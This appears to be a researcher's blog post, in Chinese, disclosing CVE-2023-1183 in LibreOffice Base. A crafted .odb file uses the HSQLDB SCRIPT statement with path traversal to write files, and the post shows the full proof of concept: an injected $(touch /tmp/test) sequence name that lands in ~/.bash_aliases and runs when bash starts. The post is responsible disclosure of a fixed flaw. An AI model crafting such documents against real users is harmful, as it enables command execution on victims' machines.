在我们的内部研究中,我们决定看看 LibreOffice 套件,因为……为什么不呢?
在对 LibreOffice Base 桌面数据库进行粗略检查时,我们偶然发现了一个(任意)文件写入问题。LibreOffice 的优秀人员立即解决了该漏洞。
在这篇博文中,我们想分享一些有关该问题的发现和利用的更多细节。
四处探索
LibreOffice 套件包含许多单独的应用程序,包括文字处理器、电子表格实现、用于构建和显示演示文稿的工具以及桌面数据库。没有什么特别的原因,我决定看看数据库部分(即 LibreOffice Base 应用程序)实际上是如何工作的。
所以我继续启动 LibreOffice Base 并创建了一个新数据库:
它询问我想要什么数据库类型,我选择了唯一可用的选项“HSQLDB Embedded”。创建数据库并填写一些测试值后,我将文件保存到磁盘。就像“常规”.odt文档一样,生成的.odb文件只是一个包含以下内容的 zip 存档:
./forms
./reports
./Configurations2
./database
./database/script
./database/properties
./mimetype
./content.xml
./META-INF
./META-INF/manifest.xml
./settings.xml
不是很多,但我期待什么?毕竟,这只是一个几乎空的数据库。所以我继续查看各个文件。内容database/script让我扬起眉毛:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
该文件包含 SQL 语句?我仍然清楚地记得几乎所有 Web 应用程序中都会发现 SQL 注入问题的时代,所以也许有人可以在这里玩一些有趣的 SQL 技巧?
HSQL数据库
当然,将发出(任意?)SQL 语句的能力变成有用的东西取决于数据库引擎。由于我们似乎在这里使用 HSQLDB,我认为查阅文档可能是一个很好的第一步。
最后,我偶然发现了这样的SCRIPT 声明:
创建描述数据库的 SQL 脚本。如果未指定文件,则返回仅包含 DDL 脚本的结果集。如果指定了该文件,则该文件将使用相对于数据库引擎所在计算机的路径进行保存。
只有管理员可以执行此操作。
那么SCRIPT path/to/file可以用来写入文件吗?听起来确实很有趣!我只是想尝试一下;我调整了database/script文件,如下图所示:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
SCRIPT '../../../../../../../../../tmp/ohai'
然后我将目录结构重新打包成一个.odb简单的使用zip -r ../foo.odb .并尝试了一下。
遗憾的是,当我.odb在 LibreOffice 中打开该文件时,什么也没发生。没有/tmp/ohai:(
意外发现
也许我不应该指望它会立即起作用。我想,我可能只是尝试一下 LibreOffice Base 的其他一些功能(例如,表单和报告),看看是否有更有趣的东西可以探索。完成后,我保存了文件,关闭了 LibreOffice,并/tmp/ohai再次仔细检查了该文件,以确保万无一失。令我惊讶的是,该文件现在已经存在:
bugofen libreoffice_hack𝝺 cat /tmp/ohai
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
嗯……也许在 LibreOffice Base 应用程序中单击会以某种方式导致 SQL 语句被database/script执行?我决定快速测试一下 - 我删除/tmp/ohai并再次打开我的.odb文件。然后我单击了一些可用选项(例如“查询”、“报告”等),然后……什么也没发生。不/tmp/ohai。
现在我有点挠头了。我决定也许看看我在 LibreOffice 中玩弄时对文件所做的更改,因此我解压了该文件.odb(现在包含了更多的内容)。令我惊讶的是,该database/script文件现在又恢复到原来的状态(即没有我的SCRIPT声明)。这当然解释了为什么它不再起作用了!
好的,不知何故我的更改已database/script被覆盖。但这没什么大不了的 - 我只是SCRIPT再次添加了我的声明,重新打包.odb并在 LibreOffice 中打开它。这一次,点击“查询”按钮后,该/tmp/ohai文件再次出现。
到目前为止,一切都很好。因此,当保存我的修改时.odb,LibreOffice 会从 中删除该SCRIPT语句database/script。
那么,到目前为止我们取得了什么成果?我们让 LibreOffice Base 将数据写入本地文件系统中的文件。文件内容似乎至少部分在我们的控制之下:文档和上面的摘录表明该SCRIPT命令基本上会将内容转储database/script到我们选择的文件中。换句话说,我们写入目标文件的内容至少必须是有效的 SQL 语句。根据我们要使用的文件格式,这可能是问题,也可能不是问题。
我想,下一步最好是尝试覆盖现有文件,就像~/.profile这样。所以我继续,database/script再次调整并尝试。
打开文件并单击“查询”按钮后,LibreOffice 给出了一条友好的错误消息:
好吧,谢谢什么。覆盖已经存在的文件似乎不起作用。至少,我认为,这会让剥削变得更有趣。
当然,无法覆盖现有文件并不能保证该问题不会被利用。然而,这确实意味着我们可能需要多做一些工作。一般来说,预测文件是否会出现在目标用户的系统上当然不是一件容易的事。但也许我们至少可以找到一些有前途的候选人?
我首先阅读了~/.bashrc我的 Ubuntu 测试机的文件,发现了以下内容:
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
...
fi
...
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
我的机器上既不存在~/.dircolors也不存在。~/.bash_aliases我首先决定看看该dircolors实用程序如何解析~/.dircolors文件,但它似乎至少试图防止可能的注入问题。不过,也许一个人应该花五分钟以上的时间?:)
不管怎样,为了快速演示,我决定使用~/.bash_aliases.
寻找好的有效负载
现在,当我们的目标是 时~/.bash_aliases,我们需要以某种方式确保写入 的内容的格式足够好,以便作为 shell 脚本执行。
我的第一次尝试是简单地将第一行更改database/script为类似SET DATABASE COLLATION "$(touch /tmp/test)". 然而,这并没有真正起作用。加载文件时,LibreOffice 告诉我我使用的排序规则名称有错误。难怪,因为$(touch /tmp/test)这几乎不是一个有效的排序规则名称。
好吧,也许我可以只使用表名作为有效负载?下一个想法是使用这样的东西:CREATE CACHED TABLE "$(touch /tmp/test)"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))。虽然这次 LibreOffice 没有抱怨,但生成的文件被 bash 拒绝了:
bash: /home/greg/.bash_aliases: line 2: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 2: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
显然,bash 对括号不满意。我没有尝试解决这个问题,而是选择使用根本不包含括号的 SQL 语句。再次快速浏览一下文档,该CREATE SEQUENCE声明引起了我的注意。所以我只是添加了以下语句database/script:CREATE SEQUENCE "$(touch /tmp/test)"。你瞧!终于成功了。
总而言之,我database/script现在看起来像这样:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
-- teh 1337 haxx
CREATE SEQUENCE "$(touch /tmp/test)"
SCRIPT '../../../../../../../../../home/greg/.bash_aliases'
将其重新打包成.odb,在 LibreOffice 中加载该文件并单击“查询”按钮后,~/.bash_aliases会生成包含以下内容的文件:
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE SEQUENCE "$(touch /tmp/test)" AS INTEGER START WITH 0
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
作为旁注,我们可以观察到(如上所述)该文件不会直接包含 的逐字副本database/script,而是稍微调整的版本。
现在,当启动新的 bash 实例时,我收到以下输出:
bugofen libreoffice_hack𝝺 bash
bash: SET: command not found
bash: CREATE: command not found
bash: CREATE: command not found
bash: /home/greg/.bash_aliases: line 4: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 4: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))'
bugofen libreoffice_hack𝝺 ls /tmp/test
/tmp/test
就是这样。我想我会将任何进一步的利用作为练习留给读者;)
披露
当然,在这篇博文公开之前,这个问题已经被上游披露了。非常感谢 LibreOffice 和 HSQLDB 团队解决了这个问题!该问题已分配为CVE-2023-1183。